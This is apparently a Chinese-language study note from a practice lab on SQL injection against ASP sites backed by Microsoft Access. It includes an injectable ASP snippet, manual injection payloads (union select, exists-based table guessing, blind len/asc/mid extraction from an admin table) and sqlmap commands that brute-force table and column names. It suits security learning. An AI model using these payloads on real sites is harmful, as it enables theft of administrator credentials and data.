ACCESS数据库注入
0X01
我们想来了解一下access数据库
Access注入是暴力猜解
Access数据结构(access只有一个数据库)
Access数据库
表名
列名
数据
没有库这个概念 只有表这个概念
这应该就是今天的sql语句
<% id=request("id") sql="select * from product where id="&id set rs=conn.execute(sql) %>
Set rs = conn.Execute(sql) 意思是说:执行这条SQL语句、并将它保存到记录集里面! 希望可以帮你解决问题
Set 赋值; conn.Execute()执行sql 语句、并返回值
0X02好的有思路之后进行第一步 手工注入
第一步肯定是先判断注入点是否存在注入啊 由于上面 看到语句sql="select * from product where id="&id已经构造闭合了
所以这里就不许要构造闭合
但是我们还是需要照着网上的步骤 因为现实中我们不可能知道源码
1.判断网站是否有注入点。
在以asp?id=xx(任意数字)结尾的连接依次添加:
-
'
-
1=1
-
1=2
若以上结果显示"数据库出错","正常显示","数据库出错"则该网站存在注入点。
判断有注入点后我们进行手工注入看看有几个字段
order by 22正确 23错误 好的 那么有22个字段
那我们就可以构造语句
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
看见是3,15的位置是显示的是数据 那么我们后面爆破出来列明后就可以直接 把名字放到3,15的位置上面去了
那我们现在来拆解表名,列名 方法access注入攻击片段-逐字猜解法 //兼容性好,工具一般采用这种方法
构造语句
查表:and exists (select * from 表名) 存在的话就返回正常 不存在就返回不正常
查列:and exists (select 列名 from 表名)
查数据:1.确定长度 2.确定asc数据(asc编码)
1
2
3
4
5
|
and ( select top 1 len(列名) from admin)=5 //=换成<=5也成立,下同 and ( select top 1 asc (mid(列名,位数,1)) from admin)=97 and ( select top 1 asc (mid(列名,位数,1)) from admin)=97 |
当然这里我们也可以用啊D来跑一下
0X02sqlmap梭哈
先来初步试探 因为不知道DBMS是什么类型的
sqlmap.py -u "www.xxx.xxx" (什么都不加 不知道数据库类型)
这里sqlmap判断出来是acess数据库 问我们是否尝试其他的数据库类型 n 我们不尝试了
那我们它又问我们是否要使用字典爆破表名 点yes 常见的3140个表名挨个的爆破
知道表明了后 直接爆破列名
sqlmap.py -u "www.xxx.xxx" -T “admin" --columns
也会继续用字典进行枚举爆破
今天是第一次接触到access数据库 以前遇见asp的网站的时候 就说为什么单引号报错 双引号也报错 原来asp的sql和php的sql语句都不一样 就一次小小的靶场就收获这么多
感谢卿哥为我们提供一个这么好的环境 受益匪浅
学习不要浮躁 慢慢来